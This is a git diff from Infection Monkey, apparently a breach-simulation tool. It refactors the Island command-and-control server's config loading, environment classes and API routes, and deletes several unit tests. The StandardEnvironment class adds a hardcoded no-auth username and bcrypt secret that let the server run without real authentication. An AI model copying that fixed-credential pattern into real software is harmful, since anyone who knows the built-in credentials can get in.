- api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/')
- api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island')
- api.add_resource(ScoutSuiteAuth, '/api/scoutsuite_auth/')
- api.add_resource(AWSKeys, '/api/aws_keys')
+ api.add_resource(
+ FileUpload,
+ "/api/fileUpload/",
+ "/api/fileUpload/?load=",
+ "/api/fileUpload/?restore=",
+ )
+ api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/")
+ api.add_resource(AttackConfiguration, "/api/attack")
+ api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/")
+ api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/")
+ api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island")
+ api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/")
+ api.add_resource(AWSKeys, "/api/aws_keys")
# Resources used by black box tests
- api.add_resource(MonkeyTest, '/api/test/monkey')
- api.add_resource(ClearCaches, '/api/test/clear_caches')
- api.add_resource(LogTest, '/api/test/log')
- api.add_resource(TelemetryTest, '/api/test/telemetry')
+ api.add_resource(MonkeyBlackboxEndpoint, "/api/test/monkey")
+ api.add_resource(ClearCaches, "/api/test/clear_caches")
+ api.add_resource(LogBlackboxEndpoint, "/api/test/log")
+ api.add_resource(TelemetryBlackboxEndpoint, "/api/test/telemetry")
def init_app(mongo_url):
app = Flask(__name__)
api = flask_restful.Api(app)
- api.representations = {'application/json': output_json}
+ api.representations = {"application/json": output_json}
init_app_config(app, mongo_url)
init_app_services(app)
diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py
new file mode 100644
index 000000000..617658080
--- /dev/null
+++ b/monkey/monkey_island/cc/arg_parser.py
@@ -0,0 +1,30 @@
+from dataclasses import dataclass
+
+
+@dataclass
+class IslandCmdArgs:
+ setup_only: bool
+ server_config_path: str
+
+
+def parse_cli_args() -> IslandCmdArgs:
+ import argparse
+
+ parser = argparse.ArgumentParser(
+ description="Infection Monkey Island CnC Server. See https://infectionmonkey.com",
+ formatter_class=argparse.ArgumentDefaultsHelpFormatter,
+ )
+ parser.add_argument(
+ "-s",
+ "--setup-only",
+ action="store_true",
+ help="Pass this flag to cause the Island to setup and exit without actually starting. "
+ "This is useful for preparing Island to boot faster later-on, so for "
+ "compiling/packaging Islands.",
+ )
+ parser.add_argument(
+ "--server-config", action="store", help="The path to the server configuration file."
+ )
+ args = parser.parse_args()
+
+ return IslandCmdArgs(args.setup_only, args.server_config)
diff --git a/monkey/monkey_island/cc/conftest.py b/monkey/monkey_island/cc/conftest.py
deleted file mode 100644
index 0ed1533ab..000000000
--- a/monkey/monkey_island/cc/conftest.py
+++ /dev/null
@@ -1,3 +0,0 @@
-# Without these imports pytests can't use fixtures,
-# because they are not found
-from monkey_island.cc.test_common.fixtures import * # noqa: F401,F403
diff --git a/monkey/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py
index 082553e5f..6573e31f9 100644
--- a/monkey/monkey_island/cc/database.py
+++ b/monkey/monkey_island/cc/database.py
@@ -2,8 +2,6 @@ import gridfs
from flask_pymongo import MongoClient, PyMongo
from pymongo.errors import ServerSelectionTimeoutError
-__author__ = 'Barak'
-
mongo = PyMongo()
@@ -34,5 +32,5 @@ def get_db_version(mongo_url):
:return: version as a tuple (e.g. `(u'4', u'0', u'8')`)
"""
client = MongoClient(mongo_url, serverSelectionTimeoutMS=100)
- server_version = tuple(client.server_info()['version'].split('.'))
+ server_version = tuple(client.server_info()["version"].split("."))
return server_version
diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py
index 75012183f..1792ea99b 100644
--- a/monkey/monkey_island/cc/environment/__init__.py
+++ b/monkey/monkey_island/cc/environment/__init__.py
@@ -1,13 +1,12 @@
-import hashlib
import logging
-import os
from abc import ABCMeta, abstractmethod
from datetime import timedelta
-__author__ = 'itay.mizeretz'
-
-from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError,
- InvalidRegistrationCredentialsError)
+from common.utils.exceptions import (
+ AlreadyRegisteredError,
+ CredentialsNotRequiredError,
+ InvalidRegistrationCredentialsError,
+)
from monkey_island.cc.environment.environment_config import EnvironmentConfig
from monkey_island.cc.environment.user_creds import UserCreds
@@ -16,11 +15,6 @@ logger = logging.getLogger(__name__)
class Environment(object, metaclass=ABCMeta):
_ISLAND_PORT = 5000
- _MONGO_DB_NAME = "monkeyisland"
- _MONGO_DB_HOST = "localhost"
- _MONGO_DB_PORT = 27017
- _MONGO_URL = os.environ.get("MONKEY_MONGO_URL",
- "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)))
_DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(minutes=30)
@@ -56,12 +50,14 @@ class Environment(object, metaclass=ABCMeta):
def _try_needs_registration(self) -> bool:
if not self._credentials_required:
- raise CredentialsNotRequiredError("Credentials are not required "
- "for current environment.")
+ raise CredentialsNotRequiredError(
+ "Credentials are not required " "for current environment."
+ )
else:
if self._is_registered():
- raise AlreadyRegisteredError("User has already been registered. "
- "Reset credentials or login.")
+ raise AlreadyRegisteredError(
+ "User has already been registered. " "Reset credentials or login."
+ )
return True
def _is_registered(self) -> bool:
@@ -90,38 +86,14 @@ class Environment(object, metaclass=ABCMeta):
def get_island_port(self):
return self._ISLAND_PORT
- def get_mongo_url(self):
- return self._MONGO_URL
-
def is_debug(self):
return self._DEBUG_SERVER
def get_auth_expiration_time(self):
return self._AUTH_EXPIRATION_TIME
- @staticmethod
- def hash_secret(secret):
- hash_obj = hashlib.sha3_512()
- hash_obj.update(secret.encode('utf-8'))
- return hash_obj.hexdigest()
-
def get_deployment(self) -> str:
- deployment = 'unknown'
+ deployment = "unknown"
if self._config and self._config.deployment:
deployment = self._config.deployment
return deployment
-
- def set_deployment(self, deployment: str):
- self._config.deployment = deployment
-
- @property
- def mongo_db_name(self):
- return self._MONGO_DB_NAME
-
- @property
- def mongo_db_host(self):
- return self._MONGO_DB_HOST
-
- @property
- def mongo_db_port(self):
- return self._MONGO_DB_PORT
diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py
index b1ba0a734..fda359133 100644
--- a/monkey/monkey_island/cc/environment/aws.py
+++ b/monkey/monkey_island/cc/environment/aws.py
@@ -1,25 +1,14 @@
from common.cloud.aws.aws_instance import AwsInstance
from monkey_island.cc.environment import Environment
-__author__ = 'itay.mizeretz'
-
class AwsEnvironment(Environment):
-
_credentials_required = True
def __init__(self, config):
super(AwsEnvironment, self).__init__(config)
# Not suppressing error here on purpose. This is critical if we're on AWS env.
self.aws_info = AwsInstance()
- self._instance_id = self._get_instance_id()
- self.region = self._get_region()
-
- def _get_instance_id(self):
- return self.aws_info.get_instance_id()
-
- def _get_region(self):
- return self.aws_info.get_region()
def get_auth_users(self):
if self._is_registered():
diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py
index 35dbafc8e..b013bdcf3 100644
--- a/monkey/monkey_island/cc/environment/environment_config.py
+++ b/monkey/monkey_island/cc/environment/environment_config.py
@@ -2,66 +2,59 @@ from __future__ import annotations
import json
import os
-from pathlib import Path
from typing import Dict, List
-import monkey_island.cc.environment.server_config_generator as server_config_generator
-from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.environment.user_creds import UserCreds
from monkey_island.cc.resources.auth.auth_user import User
from monkey_island.cc.resources.auth.user_store import UserStore
-SERVER_CONFIG_FILENAME = "server_config.json"
-
class EnvironmentConfig:
- def __init__(self,
- server_config: str,
- deployment: str,
- user_creds: UserCreds,
- aws=None):
- self.server_config = server_config
- self.deployment = deployment
- self.user_creds = user_creds
+ def __init__(self, file_path):
+ self._server_config_path = os.path.expanduser(file_path)
+ self.server_config = None
+ self.deployment = None
+ self.user_creds = None
+ self.aws = None
+
+ self._load_from_file(self._server_config_path)
+
+ def _load_from_file(self, file_path):
+ file_path = os.path.expanduser(file_path)
+
+ with open(file_path, "r") as f:
+ config_content = f.read()
+
+ self._load_from_json(config_content)
+
+ def _load_from_json(self, config_json: str) -> EnvironmentConfig:
+ data = json.loads(config_json)
+ self._load_from_dict(data["environment"])
+
+ def _load_from_dict(self, dict_data: Dict):
+ aws = dict_data["aws"] if "aws" in dict_data else None
+
+ self.server_config = dict_data["server_config"]
+ self.deployment = dict_data["deployment"]
+ self.user_creds = _get_user_credentials_from_config(dict_data)
self.aws = aws
- @staticmethod
- def get_from_json(config_json: str) -> EnvironmentConfig:
- data = json.loads(config_json)
- return EnvironmentConfig.get_from_dict(data)
-
- @staticmethod
- def get_from_dict(dict_data: Dict) -> EnvironmentConfig:
- user_creds = UserCreds.get_from_dict(dict_data)
- aws = dict_data['aws'] if 'aws' in dict_data else None
- return EnvironmentConfig(server_config=dict_data['server_config'],
- deployment=dict_data['deployment'],
- user_creds=user_creds,
- aws=aws)
-
def save_to_file(self):
- file_path = EnvironmentConfig.get_config_file_path()
- with open(file_path, 'w') as f:
- f.write(json.dumps(self.to_dict(), indent=2))
+ with open(self._server_config_path, "r") as f:
+ config = json.load(f)
- @staticmethod
- def get_from_file() -> EnvironmentConfig:
- file_path = EnvironmentConfig.get_config_file_path()
- if not Path(file_path).is_file():
- server_config_generator.create_default_config_file(file_path)
- with open(file_path, 'r') as f:
- config_content = f.read()
- return EnvironmentConfig.get_from_json(config_content)
+ config["environment"] = self.to_dict()
- @staticmethod
- def get_config_file_path() -> str:
- return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME)
+ with open(self._server_config_path, "w") as f:
+ f.write(json.dumps(config, indent=2))
def to_dict(self) -> Dict:
- config_dict = {'server_config': self.server_config,
- 'deployment': self.deployment}
+ config_dict = {
+ "server_config": self.server_config,
+ "deployment": self.deployment,
+ }
if self.aws:
- config_dict.update({'aws': self.aws})
+ config_dict.update({"aws": self.aws})
config_dict.update(self.user_creds.to_dict())
return config_dict
@@ -73,3 +66,10 @@ class EnvironmentConfig:
def get_users(self) -> List[User]:
auth_user = self.user_creds.to_auth_user()
return [auth_user] if auth_user else []
+
+
+def _get_user_credentials_from_config(dict_data: Dict):
+ username = dict_data.get("user", "")
+ password_hash = dict_data.get("password_hash", "")
+
+ return UserCreds(username, password_hash)
diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py
index 6b98d0b7c..82c6b90b0 100644
--- a/monkey/monkey_island/cc/environment/environment_singleton.py
+++ b/monkey/monkey_island/cc/environment/environment_singleton.py
@@ -1,20 +1,18 @@
import logging
import monkey_island.cc.resources.auth.user_store as user_store
-from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard, testing
-
-__author__ = 'itay.mizeretz'
+from monkey_island.cc.environment import EnvironmentConfig, aws, password, standard
logger = logging.getLogger(__name__)
-AWS = 'aws'
-STANDARD = 'standard'
-PASSWORD = 'password'
+AWS = "aws"
+STANDARD = "standard"
+PASSWORD = "password"
ENV_DICT = {
STANDARD: standard.StandardEnvironment,
AWS: aws.AwsEnvironment,
- PASSWORD: password.PasswordEnvironment
+ PASSWORD: password.PasswordEnvironment,
}
env = None
@@ -30,18 +28,20 @@ def set_to_standard():
global env
if env:
env_config = env.get_config()
- env_config.server_config = 'standard'
- set_env('standard', env_config)
+ env_config.server_config = "standard"
+ set_env("standard", env_config)
env.save_config()
user_store.UserStore.set_users(env.get_auth_users())
-try:
- config = EnvironmentConfig.get_from_file()
- __env_type = config.server_config
- set_env(__env_type, config)
- # noinspection PyUnresolvedReferences
- logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
-except Exception:
- logger.error('Failed initializing environment', exc_info=True)
- raise
+def initialize_from_file(file_path):
+ try:
+ config = EnvironmentConfig(file_path)
+
+ __env_type = config.server_config
+ set_env(__env_type, config)
+ # noinspection PyUnresolvedReferences
+ logger.info("Monkey's env is: {0}".format(env.__class__.__name__))
+ except Exception:
+ logger.error("Failed initializing environment", exc_info=True)
+ raise
diff --git a/monkey/monkey_island/cc/environment/password.py b/monkey/monkey_island/cc/environment/password.py
index 8cfd495d2..c79f2caba 100644
--- a/monkey/monkey_island/cc/environment/password.py
+++ b/monkey/monkey_island/cc/environment/password.py
@@ -1,10 +1,7 @@
from monkey_island.cc.environment import Environment
-__author__ = 'itay.mizeretz'
-
class PasswordEnvironment(Environment):
-
_credentials_required = True
def get_auth_users(self):
diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py
deleted file mode 100644
index d5c645564..000000000
--- a/monkey/monkey_island/cc/environment/server_config_generator.py
+++ /dev/null
@@ -1,7 +0,0 @@
-from pathlib import Path
-
-
-def create_default_config_file(path):
- default_config_path = f"{path}.default"
- default_config = Path(default_config_path).read_text()
- Path(path).write_text(default_config)
diff --git a/monkey/monkey_island/cc/environment/server_config_handler.py b/monkey/monkey_island/cc/environment/server_config_handler.py
new file mode 100644
index 000000000..363b7c2e6
--- /dev/null
+++ b/monkey/monkey_island/cc/environment/server_config_handler.py
@@ -0,0 +1,27 @@
+import json
+import os
+from pathlib import Path
+
+from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH, SERVER_CONFIG_FILENAME
+from monkey_island.cc.setup.island_config_options import IslandConfigOptions
+
+
+def create_default_server_config_file(data_dir: str) -> str:
+ config_file_path = os.path.join(data_dir, SERVER_CONFIG_FILENAME)
+ if not os.path.isfile(config_file_path):
+ write_default_server_config_to_file(config_file_path)
+
+ return config_file_path
+
+
+def write_default_server_config_to_file(path: str) -> None:
+ default_config = Path(DEFAULT_SERVER_CONFIG_PATH).read_text()
+ Path(path).write_text(default_config)
+
+
+def load_server_config_from_file(server_config_path) -> IslandConfigOptions:
+ with open(server_config_path, "r") as f:
+ config_content = f.read()
+ config = json.loads(config_content)
+
+ return IslandConfigOptions(config)
diff --git a/monkey/monkey_island/cc/environment/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py
index 168fe13cd..490d92479 100644
--- a/monkey/monkey_island/cc/environment/set_server_config.py
+++ b/monkey/monkey_island/cc/environment/set_server_config.py
@@ -14,7 +14,7 @@ def add_monkey_dir_to_sys_path():
add_monkey_dir_to_sys_path()
-from monkey_island.cc.environment.environment_config import EnvironmentConfig # noqa: E402 isort:skip
+from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 isort:skip
SERVER_CONFIG = "server_config"
BACKUP_CONFIG_FILENAME = "./server_config.backup"
@@ -26,7 +26,7 @@ logger.setLevel(logging.DEBUG)
def main():
args = parse_args()
- file_path = EnvironmentConfig.get_config_file_path()
+ file_path = DEFAULT_SERVER_CONFIG_PATH
if args.server_config == "restore":
restore_previous_config(file_path)
@@ -62,5 +62,5 @@ def restore_previous_config(config_path):
move(BACKUP_CONFIG_FILENAME, config_path)
-if __name__ == '__main__':
+if __name__ == "__main__":
main()
diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py
index e34fb71cc..3bc823b9b 100644
--- a/monkey/monkey_island/cc/environment/standard.py
+++ b/monkey/monkey_island/cc/environment/standard.py
@@ -1,16 +1,12 @@
from monkey_island.cc.environment import Environment
from monkey_island.cc.resources.auth.auth_user import User
-__author__ = 'itay.mizeretz'
-
class StandardEnvironment(Environment):
-
_credentials_required = False
- # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
- NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
- '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
+ NO_AUTH_USER = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()"
+ NO_AUTH_SECRET = "$2b$12$frH7uEwV3jkDNGgReW6j2udw8hy/Yw1SWAqytrcBYK48kn1V5lQIa"
def get_auth_users(self):
- return [User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)]
+ return [User(1, StandardEnvironment.NO_AUTH_USER, StandardEnvironment.NO_AUTH_SECRET)]
diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py
deleted file mode 100644
index c55e1b65b..000000000
--- a/monkey/monkey_island/cc/environment/test__init__.py
+++ /dev/null
@@ -1,111 +0,0 @@
-import json
-import os
-from typing import Dict
-from unittest import TestCase
-from unittest.mock import MagicMock, patch
-
-import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks
-from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError,
- InvalidRegistrationCredentialsError, RegistrationNotNeededError)
-from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds
-
-
-def get_server_config_file_path_test_version():
- return os.path.join(os.getcwd(), 'test_config.json')
-
-
-class TestEnvironment(TestCase):
-
- class EnvironmentCredentialsNotRequired(Environment):
- def __init__(self):
- config = EnvironmentConfig('test', 'test', UserCreds())
- super().__init__(config)
-
- _credentials_required = False
-
- def get_auth_users(self):
- return []
-
- class EnvironmentCredentialsRequired(Environment):
- def __init__(self):
- config = EnvironmentConfig('test', 'test', UserCreds())
- super().__init__(config)
-
- _credentials_required = True
-
- def get_auth_users(self):
- return []
-
- class EnvironmentAlreadyRegistered(Environment):
- def __init__(self):
- config = EnvironmentConfig('test', 'test', UserCreds('test_user', 'test_secret'))
- super().__init__(config)
-
- _credentials_required = True
-
- def get_auth_users(self):
- return [1, "Test_username", "Test_secret"]
-
- @patch.object(target=EnvironmentConfig, attribute="save_to_file", new=MagicMock())
- def test_try_add_user(self):
- env = TestEnvironment.EnvironmentCredentialsRequired()
- credentials = UserCreds(username="test", password_hash="1231234")
- env.try_add_user(credentials)
-
- credentials = UserCreds(username="test")
- with self.assertRaises(InvalidRegistrationCredentialsError):
- env.try_add_user(credentials)
-
- env = TestEnvironment.EnvironmentCredentialsNotRequired()
- credentials = UserCreds(username="test", password_hash="1231234")
- with self.assertRaises(RegistrationNotNeededError):
- env.try_add_user(credentials)
-
- def test_try_needs_registration(self):
- env = TestEnvironment.EnvironmentAlreadyRegistered()
- with self.assertRaises(AlreadyRegisteredError):
- env._try_needs_registration()
-
- env = TestEnvironment.EnvironmentCredentialsNotRequired()
- with self.assertRaises(CredentialsNotRequiredError):
- env._try_needs_registration()
-
- env = TestEnvironment.EnvironmentCredentialsRequired()
- self.assertTrue(env._try_needs_registration())
-
- def test_needs_registration(self):
- env = TestEnvironment.EnvironmentCredentialsRequired()
- self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_WITH_CREDENTIALS, False)
- self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_NO_CREDENTIALS, True)
- self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, True)
-
- env = TestEnvironment.EnvironmentCredentialsNotRequired()
- self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_STANDARD_ENV, False)
- self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_STANDARD_WITH_CREDENTIALS, False)
-
- def test_is_registered(self):
- env = TestEnvironment.EnvironmentCredentialsRequired()
- self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_WITH_CREDENTIALS, True)
- self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_NO_CREDENTIALS, False)
- self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, False)
-
- env = TestEnvironment.EnvironmentCredentialsNotRequired()
- self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_STANDARD_ENV, False)
- self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_STANDARD_WITH_CREDENTIALS, False)
-
- def test_is_credentials_set_up(self):
- env = TestEnvironment.EnvironmentCredentialsRequired()
- self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_NO_CREDENTIALS, False)
- self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_WITH_CREDENTIALS, True)
- self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, False)
-
- env = TestEnvironment.EnvironmentCredentialsNotRequired()
- self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_STANDARD_ENV, False)
-
- def _test_bool_env_method(self, method_name: str, env: Environment, config: Dict, expected_result: bool):
- env._config = EnvironmentConfig.get_from_json(json.dumps(config))
- method = getattr(env, method_name)
- if expected_result:
- self.assertTrue(method())
- else:
- self.assertFalse(method())
diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py
deleted file mode 100644
index ed9b0ef96..000000000
--- a/monkey/monkey_island/cc/environment/test_environment_config.py
+++ /dev/null
@@ -1,99 +0,0 @@
-import json
-import os
-import platform
-from typing import Dict
-from unittest import TestCase
-from unittest.mock import MagicMock, patch
-
-import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks
-from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
-from monkey_island.cc.environment.environment_config import EnvironmentConfig
-from monkey_island.cc.environment.user_creds import UserCreds
-
-
-def get_server_config_file_path_test_version():
- return os.path.join(os.getcwd(), 'test_config.json')
-
-
-class TestEnvironmentConfig(TestCase):
-
- def test_get_from_json(self):
- self._test_get_from_json(config_mocks.CONFIG_WITH_CREDENTIALS)
- self._test_get_from_json(config_mocks.CONFIG_NO_CREDENTIALS)
- self._test_get_from_json(config_mocks.CONFIG_PARTIAL_CREDENTIALS)
-
- def _test_get_from_json(self, config: Dict):
- config_json = json.dumps(config)
- env_config_object = EnvironmentConfig.get_from_json(config_json)
- self.assertEqual(config['server_config'], env_config_object.server_config)
- self.assertEqual(config['deployment'], env_config_object.deployment)
- if 'user' in config:
- self.assertEqual(config['user'], env_config_object.user_creds.username)
- if 'password_hash' in config:
- self.assertEqual(config['password_hash'], env_config_object.user_creds.password_hash)
- if 'aws' in config:
- self.assertEqual(config['aws'], env_config_object.aws)
-
- def test_save_to_file(self):
- self._test_save_to_file(config_mocks.CONFIG_WITH_CREDENTIALS)
- self._test_save_to_file(config_mocks.CONFIG_NO_CREDENTIALS)
- self._test_save_to_file(config_mocks.CONFIG_PARTIAL_CREDENTIALS)
-
- @patch.object(target=EnvironmentConfig, attribute="get_config_file_path",
- new=MagicMock(return_value=get_server_config_file_path_test_version()))
- def _test_save_to_file(self, config: Dict):
- user_creds = UserCreds.get_from_dict(config)
- env_config = EnvironmentConfig(server_config=config['server_config'],
- deployment=config['deployment'],
- user_creds=user_creds)
-
- env_config.save_to_file()
- file_path = get_server_config_file_path_test_version()
- with open(file_path, 'r') as f:
- content_from_file = f.read()
- os.remove(file_path)
-
- self.assertDictEqual(config, json.loads(content_from_file))
-
- def test_get_server_config_file_path(self):
- if platform.system() == "Windows":
- server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json"
- else:
- server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json"
- self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path)
-
- def test_get_from_dict(self):
- config_dict = config_mocks.CONFIG_WITH_CREDENTIALS
- env_conf = EnvironmentConfig.get_from_dict(config_dict)
- self.assertEqual(env_conf.server_config, config_dict['server_config'])
- self.assertEqual(env_conf.deployment, config_dict['deployment'])
- self.assertEqual(env_conf.user_creds.username, config_dict['user'])
- self.assertEqual(env_conf.aws, None)
-
- config_dict = config_mocks.CONFIG_BOGUS_VALUES
- env_conf = EnvironmentConfig.get_from_dict(config_dict)
- self.assertEqual(env_conf.server_config, config_dict['server_config'])
- self.assertEqual(env_conf.deployment, config_dict['deployment'])
- self.assertEqual(env_conf.user_creds.username, config_dict['user'])
- self.assertEqual(env_conf.aws, config_dict['aws'])
-
- def test_to_dict(self):
- conf_json1 = json.dumps(config_mocks.CONFIG_WITH_CREDENTIALS)
- self._test_to_dict(EnvironmentConfig.get_from_json(conf_json1))
-
- conf_json2 = json.dumps(config_mocks.CONFIG_NO_CREDENTIALS)
- self._test_to_dict(EnvironmentConfig.get_from_json(conf_json2))
-
- conf_json3 = json.dumps(config_mocks.CONFIG_PARTIAL_CREDENTIALS)
- self._test_to_dict(EnvironmentConfig.get_from_json(conf_json3))
-
- def _test_to_dict(self, env_config_object: EnvironmentConfig):
- test_dict = {'server_config': env_config_object.server_config,
- 'deployment': env_config_object.deployment}
- user_creds = env_config_object.user_creds
- if user_creds.username:
- test_dict.update({'user': user_creds.username})
- if user_creds.password_hash:
- test_dict.update({'password_hash': user_creds.password_hash})
-
- self.assertDictEqual(test_dict, env_config_object.to_dict())
diff --git a/monkey/monkey_island/cc/environment/test_user_creds.py b/monkey/monkey_island/cc/environment/test_user_creds.py
deleted file mode 100644
index 18c052526..000000000
--- a/monkey/monkey_island/cc/environment/test_user_creds.py
+++ /dev/null
@@ -1,38 +0,0 @@
-from unittest import TestCase
-
-from monkey_island.cc.environment.user_creds import UserCreds
-
-
-class TestUserCreds(TestCase):
-
- def test_to_dict(self):
- user_creds = UserCreds()
- self.assertDictEqual(user_creds.to_dict(), {})
-
- user_creds = UserCreds(username="Test")
- self.assertDictEqual(user_creds.to_dict(), {'user': "Test"})
-
- user_creds = UserCreds(password_hash="abc1231234")
- self.assertDictEqual(user_creds.to_dict(), {'password_hash': "abc1231234"})
-
- user_creds = UserCreds(username="Test", password_hash="abc1231234")
- self.assertDictEqual(user_creds.to_dict(), {'user': "Test", 'password_hash': "abc1231234"})
-
- def test_to_auth_user(self):
- user_creds = UserCreds(username="Test", password_hash="abc1231234")
- auth_user = user_creds.to_auth_user()
- self.assertEqual(auth_user.id, 1)
- self.assertEqual(auth_user.username, "Test")
- self.assertEqual(auth_user.secret, "abc1231234")
-
- user_creds = UserCreds(username="Test")
- auth_user = user_creds.to_auth_user()
- self.assertEqual(auth_user.id, 1)
- self.assertEqual(auth_user.username, "Test")
- self.assertEqual(auth_user.secret, "")
-
- user_creds = UserCreds(password_hash="abc1231234")
- auth_user = user_creds.to_auth_user()
- self.assertEqual(auth_user.id, 1)
- self.assertEqual(auth_user.username, "")
- self.assertEqual(auth_user.secret, "abc1231234")
diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py
index 2dd34a920..efa323fe8 100644
--- a/monkey/monkey_island/cc/environment/testing.py
+++ b/monkey/monkey_island/cc/environment/testing.py
@@ -4,7 +4,8 @@ from monkey_island.cc.environment import Environment, EnvironmentConfig
class TestingEnvironment(Environment):
"""
Use this environment for running Unit Tests.
- This will cause all mongo connections to happen via `mongomock` instead of using an actual mongodb instance.
+ This will cause all mongo connections to happen via `mongomock` instead of using an actual
+ mongodb instance.
"""
_credentials_required = True
diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py
index 7d6ca4962..aba349f2d 100644
--- a/monkey/monkey_island/cc/environment/user_creds.py
+++ b/monkey/monkey_island/cc/environment/user_creds.py
@@ -1,14 +1,12 @@
from __future__ import annotations
-import json
from typing import Dict
from monkey_island.cc.resources.auth.auth_user import User
class UserCreds:
-
- def __init__(self, username="", password_hash=""):
+ def __init__(self, username, password_hash):
self.username = username
self.password_hash = password_hash
@@ -18,24 +16,10 @@ class UserCreds:
def to_dict(self) -> Dict:
cred_dict = {}
if self.username:
- cred_dict.update({'user': self.username})
+ cred_dict.update({"user": self.username})
if self.password_hash:
- cred_dict.update({'password_hash': self.password_hash})
+ cred_dict.update({"password_hash": self.password_hash})
return cred_dict
def to_auth_user(self) -> User:
return User(1, self.username, self.password_hash)
-
- @staticmethod
- def get_from_dict(data_dict: Dict) -> UserCreds:
- creds = UserCreds()
- if 'user' in data_dict:
- creds.username = data_dict['user']
- if 'password_hash' in data_dict:
- creds.password_hash = data_dict['password_hash']
- return creds
-
- @staticmethod
- def get_from_json(json_data: bytes) -> UserCreds:
- cred_dict = json.loads(json_data)
- return UserCreds.get_from_dict(cred_dict)
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
deleted file mode 100644
index ce142edcc..000000000
--- a/monkey/monkey_island/cc/main.py
+++ /dev/null
@@ -1,108 +0,0 @@
-import logging
-import os
-import sys
-import time
-from pathlib import Path
-from threading import Thread
-
-# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work.
-from gevent.pywsgi import WSGIServer
-
-MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent)
-if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path:
- sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH)
-
-from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402
-from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402
-
-# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
-json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
- default_level=logging.DEBUG)
-logger = logging.getLogger(__name__)
-
-import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402
-from common.version import get_version # noqa: E402
-from monkey_island.cc.app import init_app # noqa: E402
-from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402
-from monkey_island.cc.database import get_db_version # noqa: E402
-from monkey_island.cc.database import is_db_server_up # noqa: E402
-from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402
-from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402
